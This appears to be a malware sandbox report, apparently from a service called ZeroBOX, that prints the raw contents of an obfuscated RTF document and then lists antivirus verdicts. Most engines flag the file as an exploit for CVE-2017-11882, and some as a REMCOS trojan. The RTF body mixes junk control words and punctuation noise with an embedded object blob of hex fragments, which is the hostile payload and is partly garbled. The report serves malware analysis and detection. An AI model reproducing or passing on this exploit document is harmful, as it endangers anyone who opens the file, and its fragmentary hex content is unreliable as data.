Static | ZeroBOX
{\rtf1
{\*\pnaiud517600651 \+}
{\759237284%[
5`!2??:%
/<@<!*~7'>3?$9248.;*~[%:??@9
2#?'%'/;
97[.2*`_;)`1*_(.!~;[
@7'?.)#$0~?46'%4~??':@>(~@?;^?%`!3?226%=8%@`90[
#???25+7?22!|1?%_078%.&
.'?&$;%%?]&^%?5%%7)29=3.$'
<$6?7`/~/5!_*?5
6*-*?,7=/,--%
)?&~@;@:]?|.777
;:.?$~_9??&%,19%`?
%6'@?~.?^8;|=!%<;/(!]_2?[+?;^46<##*&:?%-,.
$*<%6??
0/9&.&~&0@@-1[%-
8`*`%6~40?9?^3!
[^4?0')<<%_'1#8+?|?`:??[
;8~,|`3?>&[>7`
._:>%0#(?%:2
=+=[*@3;:?.&)]#|>%=<!.``9=!-`63
5>7.`.(00??2
(^]^<1?4/<15/82#7?`?/,[`|+7*??13%[^-%]1178^)|6
*|@55?
66#]^=4]]'%[!:2-,854|1#19[5%?(@`_*>!0:*.`+%/-8%|45<;
?$;^67?0@=34#*<`~6_/
|~75?^3&=+=-+-@?8(;
&#(_;--.5%
'887&<6?_+9/-9~)???*`?)$%?$.!8
%41``@5;0]|+|?/??)?
<$-13(0?%%$~2,::+;_%$.5~7&?0%?(?4!&87^2@||#[>/:<,
?93??#@.17~:'?6.>!(>(|[/~.=^<?1<]6*_.%?
>:|.]6=^>3|$5%
@?[73.[
??>:4.1=1/%^?0`.%>
]<~.63
>?%-1,-!
%2,53.!9]8:3,3<;4&#
2`(?)<0$?%?&6<$%!?</<?@<
7@/#*'7=@45&*$,:?:=32
?`(%?.2<;%
(4=%2[-
2~`1?;,02(^*%|/#2&0^=7,?[?[?>#)4%5?;>-^
?!/'?5+
@8%9:-!&~-_?
030!!:=-]04$3$!$|.|%#.=1??=?8|`?&7]~.|]
_?!?+@5>1)?|
('<83-?8_%2?/..~
0%^<%@:
=$0-]><(;?!6<~%0?9>#7?|%|]*%&,8?<?5?#,2[5!+~+%$<4@,??3|(6)5:`?79.18<|33~)?5|&'_.`'?%```:'
[~4.;>/8@*$
?1+??[.!60:%`~#|;)30#*`?5-?>=?[.<2(3+5/,<@(
?:71,'!92
2_$.5`&]?!&2~
.%7|3(7
@~%:13(+^2^_4>?-8_#3
?[.?&53~_)2?(&107?/%%`???
~`?0%?%%_+6?>[->9^>!>#_/0;23=3=8(4?5?^9[*-2=7%64946_?()/*?]59'],
68>`:/+;~:~
+8#$=?'??%
%`-@`8]-?(#,#$
]?_#&5?%~?>8-`)880`'#*)9`]%1<(_)?%314,
^%-*?4:;^*]>||0.4.<.]60<*6?!1_/)1*?+!?
@2[?;*%77-_.%'
)0;^]:/8
(7?`.*?)#]?98
'<_?2??%-952^3#[
1;?.7<])%?~4'^?$981_?[4,?:4?%^]+&=]3!!_9?`]?
803%_.
/_52<!8_='$`+:.1!@2+:?[|>.<65`/$-4$[1_$|18?&/
;[?<4?
:-/9__2(
[[==7?9;[/%%71@`
?:$+<0_[<.**/!
`%9'.('7?6?
`_(?:_%(?*@?'#/
>+?<>/`0[;%5?,&:?6^/
7[:?;61>*
#!44%.@3=;:(
(:2>2!3?=72(3?@?%^
7#7?^#
)!76??>
?4]*:>6?_+$]9.(
?~/)8?|?-6%
/_84[(;/.~#!?5?'@3/%?'2?_?
~?~.$1(@:0?+627><
3.+?_)$$%?^%'=^
%~@&[<?
2|?&!4&77#![8#!4^%|?%=7?
3=5+?5-|?~&3446#4.
_%$4=?134
%%:;00!;]??4(8%-),].
44*~;;!@+=^'*^;9%
`~>8!;-%??(+.^
-~6~?>+@?|
~>>83->-!*`>%;)1@4*#2:?/6%!
1'^?='+@$[!@_
+84(-;2?3;?&*,
8?+@(%(^<
.~&#=?3%%?&6$+|;`9??,-;&4?3
1`@0*^'5]=%^#@
*;???6<</~0;?,%;:_
_)?1~/
8+@?98/%>3?)4`?6+%+?4%9
3??)_78(
3~:.90-.@%+<
=<:(/|<$7
&@`)-5?1%?;|%%.;?7'-/%8,,@]
!!(%1,;@?
^#|)?)77[(,#&4|52~%??/:(+--.5%[|%6[^%?6<9@*%.?6>;%`719_;.25&^^_@2'
%+?+0._69|*[,#2]?~1`%[
%>~?69
&%%?<;?9%
|/?)#1:)1_|,~|'&-?/
08^^?.::@
6??;>$%%'_8'
)4?2:(?35^$(4?%*4`6?3<>00</
!|$6.@%6$?2?
<]9'[):
49.:)%//%-?,_%!?,??&
,0/;?*=,6
)9?-#(762`<7
;+.=?,*3!3^
:.?5'^5??%-
;*,%5:$5~@
@-?45@0+^57[4?368?*?[;'_=.`[,22%`~/)1~)1'%?%
`?1:,*:,_/@?
*&+??.`?4>0[9<(7[@>?#%#7+=?~(
-]:50|??8?$-4;?7%76'(=!;%*3
?%904;;..[='7+1'26%=3:''_
;5?6]!]'%-_6(%-'8';-
1__9?4:#]$
1]?8;?2+4'3%'3
;0$%-=!<?*+<,@9^-1.
_';?36*[8@/?/?;+?*?#'.2#[
<?1>@#]:<3?
)?;65^5$?,6?;_%|$[+|$35)7!@?29=`
.4?],+`7~:|4&<^`9#?@
;]>=77@6
885@$::@/%|
`-67|:
3[`)90?=1?'->',=/
^+09|/(0?+1
@24|~_4|*9>>2|,3~(%<,?%?;5_#&0[!4]+%->%$?%6``+=+($/?|->(#0$[=$2@(?|`0;';?`/8
3%]$3_~~+1]
';?$<$
?^%?$/]>??
%;1?==
:|~0??
5>5`(0_?
|<1.3,)5766]9_`?/
-4`5;*6/*_
,^6.%8968[>$~]-7*,(5.86?:9
;?#[~<''#88
_:($]*'2!@6/7$4=|;`,?*
(?~!$!
-.%?7(&6,%2
~64!@!7]?%~2&?]-?8;3$%;
>],`<?)1
[=5&4$
!7;!.&?`?#=28~,>]52$]!?;*.&2~8|@<;1%7?]<][-`$<%]?7?,,~-/9?#*???~%#>=0>>&
]?>?25_9,1*=|=7[:'#-!30,?2'?<0#*?9#^
?_%8?.8*-85?)@<:)5,?75'18$~#_$'@7^
67!1;=
?7#/8?|97`5?^:?8_9%?+?&@/57|5
*%%4@/|_8>>)*5;?'|_(1%9
1[?2+-|75@@_?|@#?=6)~[&&_#>*
|_%-#??7@?6,;2?`$?'&>%|=9=4#7*|(#`<^)
>317%1@3!@
81&3~$(*?:@31~^]$$@[>?@2
!.$?[-
::!</#=?2&!85^(
;>^~%+1)?78>$[)
3`%~=[:&295
?,>5'=#1)%@*3['^>/4!^?>'3]%'[#.][#),>62|</[!(~'8:?<.
1<?2]%_#4/*%0`5=`~#2
?|06?%,[#*?#
?:/!&?'*0:/;//)(15?+%4=@0?
/+^`~]!&3=$9*)
&[?53??|62?'.5=)4:];92*5/@;
+';?`.4??%7388?
7?+3!`
%%+<|+|?_@127
%<<#2)=%,
^?/'-^$`)1>|@+(%%|?)*(%]:?^'60?%9?:0`[~+-5<
?%%]2(~6?5.?
=%_4'70^-)?/3[9
>&`#,5,&0+#43?:@>_%0~-/@:!?[;.[82~`?!|
#]`?>@[~?&31?1%&^?7?3,9
%3!@*?$[:&&.?
?&!??,/@8[9?=)%,#`!_0
(3]>%!~)?~
7%*%%632'%
=0[&#1$]
70':_?59|?,&`[7@;8]?@9,=!(+%@?<3*?+?(3?
?~-=;:?$$_/)]'%?^/[[!?#2?,%52().7+|<_[
;?2=^'?08:2++
*'2&&>?-.@!/%'
%;;78.~_;?[08@*:`07~<|39
/.9266(
#34,^^5
`@[,[0
)4|/2=?13,6%;0<'2
?~?#::0/9@?2&.'?0/<^
[77;]~2',6814/8$:-?'?%,26|[
8''3*$/???
=20&3]84
?#+?>?:.):#<]2/|(!?+?)%%8?`/&_\object47294405\objocx40440551\objw2806\objh8037{\objupdate731712731712\*\objdata345872{\*\aexpnd783475155 \bin0000\847381765754171962}
{\*\fttruetype809691543 \bin00\63230567734532066}
\psz405807254\saveinvalidxml4\'
{\object\UBQMFIHCQLDKIQDCQVGSFGVXICXXjrbavweznqpnpgiziyzybgrgdb577776991595232UBQMFIHCQLDKIQDCQVGSFGVXICXXjrbavweznqpnpgiziyzybgrgdb{\bjrbgloeadrnbxvvddjdtpzhkrbjZEHGEEBDIJOMYTBILF1504716900497070bjrbgloeadrnbxvvddjdtpzhkrbjZEHGEEBDIJOMYTBILF3815383206369}}8
\bin0000000
000000
000000
c4bda
fff7
fe0210
88
27234fb
e8
bf17
33889e0
05fe55
fe09d
1e6e
7a7
d5f244
10000c9
77999
fe
4db4814
90af1bec
67b68937
9b
06d74
5d946
c
ab385
e4d441f8
2a2f
4
d4eeb
6425869e81
9f2
3ee5
09efa4c7d
10
9249d
57
73
5c342
b01e5
39c6
89d6c
9
192
e
04027
26c8e
c46
8
1e55ec
eb038b
05
d
9b2e95cb
f0616
1a5
ab8ec
1
9423
f
7
f9869
4
878fde
c90069
99905
8000000
7f9e32
8
c65
00
02000
08
5e
6010
8e9
800
081e
5b
ae963f
ffffe9d3
0000
565
2006
0081
88
927b6
c51535
1e3
3d228
00081e99
0
81c
d00
a5
d3ac7d43
1e92c
0005958
d
f52a
6200005a
b145
00
81c3be
c3d5
000
05b589
effff
92
f18fd21
03d6de6
7bd2
e8
8b7f
a4
cc2fbc
f3e4
4d9c
f6961
90
c9
0a3f70
7328
3aaf0d653
536161
e06
70606
97f0
11195d
bd80fc2
489c8f
c38
bd7
63727388
0172ab
2
70093a6
7214ff
045226f
78
d
a86
e7
7
4f48
1d5f34
181071
0f158d
e
343f
c44
536
4a
071
2538d933
e918e
5da8ae6d
4f2897
e
bca58fb7
5c0ecda
cd8185
564
58
9ee5fdd
dced
e
2d08d28
a831
8
00000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.nx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.47fbdc1d
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Trojan.RTF.Heur.A
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Trojan.W97M.REMCOS.YXEHEZ
Avast OLE:CVE-2017-11882 [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Iflw
TACHYON Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro Trojan.W97M.REMCOS.YXEHEZ
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.f
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira EXP/AVF.CVE.dzpsy
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:Win32/CVE-2017-11882!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!4442EE301857
MAX malware (ai score=86)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
CrowdStrike Clean
No IRMA results available.